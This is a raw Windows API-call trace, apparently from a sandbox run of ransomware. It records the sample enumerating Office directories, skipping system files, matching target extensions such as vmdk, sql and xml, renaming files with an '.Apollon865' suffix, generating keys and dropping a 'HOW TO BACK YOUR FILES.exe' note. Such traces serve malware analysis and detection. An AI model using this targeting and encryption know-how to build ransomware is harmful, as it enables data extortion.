	[0075.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0075.850] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1452) returned 1
	[0075.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.851] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.851] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.851] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.851] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b0, lpName=0x0) returned 0x118
	[0075.853] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b0) returned 0x100000
	[0075.854] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.854] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.854] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.855] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.855] CloseHandle (hObject=0x118) returned 1
	[0075.855] CloseHandle (hObject=0xc0) returned 1
	[0075.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.855] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.855] lstrcmpiW (lpString1="SETUP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.855] lstrcmpiW (lpString1="SETUP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.855] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1
	[0075.855] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1
	[0075.856] lstrcmpiW (lpString1="SETUP.XML", lpString2="windows") returned -1
	[0075.856] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1
	[0075.856] lstrcmpiW (lpString1="SETUP.XML", lpString2="temp") returned -1
	[0075.856] lstrcmpiW (lpString1="SETUP.XML", lpString2="pagefile.sys") returned 1
	[0075.856] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot") returned 1
	[0075.856] lstrcmpiW (lpString1="SETUP.XML", lpString2="ids.txt") returned 1
	[0075.856] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1
	[0075.856] lstrcmpiW (lpString1="SETUP.XML", lpString2="perflogs") returned 1
	[0075.856] lstrcmpiW (lpString1="SETUP.XML", lpString2="MSBuild") returned 1
	[0075.856] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0075.856] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0075.856] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.856] lstrlenW (lpString="Apollon865") returned 10
	[0075.856] lstrlenW (lpString=".dll") returned 4
	[0075.856] lstrcmpiW (lpString1="SETUP.XML", lpString2=".dll") returned 1
	[0075.856] lstrlenW (lpString=".lnk") returned 4
	[0075.856] lstrcmpiW (lpString1="SETUP.XML", lpString2=".lnk") returned 1
	[0075.856] lstrlenW (lpString=".ini") returned 4
	[0075.856] lstrcmpiW (lpString1="SETUP.XML", lpString2=".ini") returned 1
	[0075.856] lstrlenW (lpString=".sys") returned 4
	[0075.856] lstrcmpiW (lpString1="SETUP.XML", lpString2=".sys") returned 1
	[0075.856] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.856] lstrlenW (lpString="bak") returned 3
	[0075.856] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.856] lstrlenW (lpString="ba_") returned 3
	[0075.856] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.856] lstrlenW (lpString="dbb") returned 3
	[0075.856] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.856] lstrlenW (lpString="vmdk") returned 4
	[0075.856] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.856] lstrlenW (lpString="rar") returned 3
	[0075.856] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.856] lstrlenW (lpString="zip") returned 3
	[0075.856] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.856] lstrlenW (lpString="tgz") returned 3
	[0075.856] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.857] lstrlenW (lpString="vbox") returned 4
	[0075.857] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.857] lstrlenW (lpString="vdi") returned 3
	[0075.857] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.857] lstrlenW (lpString="vhd") returned 3
	[0075.857] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.857] lstrlenW (lpString="vhdx") returned 4
	[0075.857] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.857] lstrlenW (lpString="avhd") returned 4
	[0075.857] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.857] lstrlenW (lpString="db") returned 2
	[0075.857] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.857] lstrlenW (lpString="db2") returned 3
	[0075.857] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.857] lstrlenW (lpString="db3") returned 3
	[0075.857] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.857] lstrlenW (lpString="dbf") returned 3
	[0075.857] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.857] lstrlenW (lpString="mdf") returned 3
	[0075.857] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.857] lstrlenW (lpString="mdb") returned 3
	[0075.857] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.857] lstrlenW (lpString="sql") returned 3
	[0075.857] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.857] lstrlenW (lpString="sqlite") returned 6
	[0075.857] lstrcmpiW (lpString1="UP.XML", lpString2="sqlite") returned 1
	[0075.857] lstrlenW (lpString="sqlite3") returned 7
	[0075.857] lstrcmpiW (lpString1="TUP.XML", lpString2="sqlite3") returned 1
	[0075.857] lstrlenW (lpString="sqlitedb") returned 8
	[0075.857] lstrcmpiW (lpString1="ETUP.XML", lpString2="sqlitedb") returned -1
	[0075.857] lstrlenW (lpString="xml") returned 3
	[0075.857] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.857] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.Apollon865") returned 114
	[0075.857] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0075.858] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1872) returned 1
	[0075.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.859] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.859] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.859] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.859] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.860] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.860] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa50, lpName=0x0) returned 0x118
	[0075.861] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa50) returned 0x100000
	[0075.862] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.862] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.862] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.862] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.863] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.863] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.863] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.863] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.863] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.863] CloseHandle (hObject=0x118) returned 1
	[0075.863] CloseHandle (hObject=0xc0) returned 1
	[0075.863] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.863] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.863] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.863] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.863] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.864] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc50
	[0075.864] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR"
	[0075.864] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0075.864] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0075.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR") returned 87
	[0075.864] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR"
	[0075.864] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.864] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.869] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.869] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x454bb290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x454bb290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.869] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.869] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.869] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.869] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x454bb290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x454bb290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.869] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.869] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.869] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.869] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.869] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x454bb290, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x454bb290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.869] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.869] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1
	[0075.869] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.869] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.869] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2=".") returned 1
	[0075.869] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="..") returned 1
	[0075.869] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="windows") returned -1
	[0075.869] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="bootmgr") returned 1
	[0075.869] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="temp") returned -1
	[0075.869] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="pagefile.sys") returned 1
	[0075.869] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="boot") returned 1
	[0075.869] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="ids.txt") returned 1
	[0075.869] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="ntuser.dat") returned 1
	[0075.869] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="perflogs") returned 1
	[0075.870] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="MSBuild") returned 1
	[0075.870] lstrlenW (lpString="PrjProrWW.XML") returned 13
	[0075.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*") returned 89
	[0075.870] lstrcpyW (in: lpString1=0x2d3e600, lpString2="PrjProrWW.XML" | out: lpString1="PrjProrWW.XML") returned="PrjProrWW.XML"
	[0075.870] lstrlenW (lpString="PrjProrWW.XML") returned 13
	[0075.870] lstrlenW (lpString="Apollon865") returned 10
	[0075.870] lstrcmpiW (lpString1="ProrWW.XML", lpString2="Apollon865") returned 1
	[0075.870] lstrlenW (lpString=".dll") returned 4
	[0075.870] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2=".dll") returned 1
	[0075.870] lstrlenW (lpString=".lnk") returned 4
	[0075.870] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2=".lnk") returned 1
	[0075.870] lstrlenW (lpString=".ini") returned 4
	[0075.870] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2=".ini") returned 1
	[0075.870] lstrlenW (lpString=".sys") returned 4
	[0075.870] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2=".sys") returned 1
	[0075.870] lstrlenW (lpString="PrjProrWW.XML") returned 13
	[0075.870] lstrlenW (lpString="bak") returned 3
	[0075.870] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.870] lstrlenW (lpString="ba_") returned 3
	[0075.870] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.870] lstrlenW (lpString="dbb") returned 3
	[0075.870] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.870] lstrlenW (lpString="vmdk") returned 4
	[0075.870] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.870] lstrlenW (lpString="rar") returned 3
	[0075.870] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.870] lstrlenW (lpString="zip") returned 3
	[0075.870] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.870] lstrlenW (lpString="tgz") returned 3
	[0075.870] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.870] lstrlenW (lpString="vbox") returned 4
	[0075.870] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.870] lstrlenW (lpString="vdi") returned 3
	[0075.870] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.870] lstrlenW (lpString="vhd") returned 3
	[0075.870] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.870] lstrlenW (lpString="vhdx") returned 4
	[0075.871] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.871] lstrlenW (lpString="avhd") returned 4
	[0075.871] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.871] lstrlenW (lpString="db") returned 2
	[0075.871] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.871] lstrlenW (lpString="db2") returned 3
	[0075.871] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.871] lstrlenW (lpString="db3") returned 3
	[0075.871] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.871] lstrlenW (lpString="dbf") returned 3
	[0075.871] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.871] lstrlenW (lpString="mdf") returned 3
	[0075.871] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.871] lstrlenW (lpString="mdb") returned 3
	[0075.871] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.871] lstrlenW (lpString="sql") returned 3
	[0075.871] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.871] lstrlenW (lpString="sqlite") returned 6
	[0075.871] lstrcmpiW (lpString1="WW.XML", lpString2="sqlite") returned 1
	[0075.871] lstrlenW (lpString="sqlite3") returned 7
	[0075.871] lstrcmpiW (lpString1="rWW.XML", lpString2="sqlite3") returned -1
	[0075.871] lstrlenW (lpString="sqlitedb") returned 8
	[0075.871] lstrcmpiW (lpString1="orWW.XML", lpString2="sqlitedb") returned -1
	[0075.871] lstrlenW (lpString="xml") returned 3
	[0075.871] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.871] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.Apollon865") returned 112
	[0075.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.872] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.872] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=6421) returned 1
	[0075.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.873] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.873] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.873] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.874] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c20, lpName=0x0) returned 0x118
	[0075.875] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c20) returned 0x100000
	[0075.876] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.877] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.877] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
